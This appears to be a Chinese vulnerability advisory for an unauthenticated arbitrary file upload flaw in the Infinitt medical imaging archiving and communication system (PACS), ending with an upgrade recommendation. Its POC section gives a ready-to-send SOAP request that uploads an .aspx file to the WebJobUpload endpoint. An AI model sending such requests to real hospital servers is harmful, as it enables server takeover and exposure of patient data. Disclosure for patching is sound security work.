漏洞预警 | 英飞达医学影像存档与通信系统任意文件上传漏洞

0x00 漏洞编号
  • 暂无

0x01 危险等级
  • 高危

0x02 漏洞概述

英飞达医学影像存档与通信系统主要用于医疗图像的采集、存储、浏览、传输和输出。

0x03 漏洞详情

漏洞类型:任意文件上传
影响:管服务器
简述:英飞达医学影像存档与通信系统的WebJobUpload接口存在传任意文件上传漏洞,未经身份验证的用户可通过该漏洞上传恶意文件,进而接管服务器。

0x04 影响版本
  • 英飞达医学影像存档与通信系统

0x05 POC

POST /webservices/WebJobUpload.asmx HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Content-Length: 410Accept-Encoding: gzip, deflateContent-Type: text/xml; charset=utf-8Soapaction: "http://rainier/jobUpload"Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><jobUpload xmlns="http://rainier"><vcode>1</vcode><subFolder></subFolder><fileName>test.aspx</fileName><bufValue>dGVzdA==</bufValue></jobUpload></soap:Body></soap:Envelope>
仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布不承担任何法律及连带责任。

0x06 修复建议

目前官方已发布漏洞修复版本,建议用户升级到安全版本
https://www.infinitt.vip/


免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐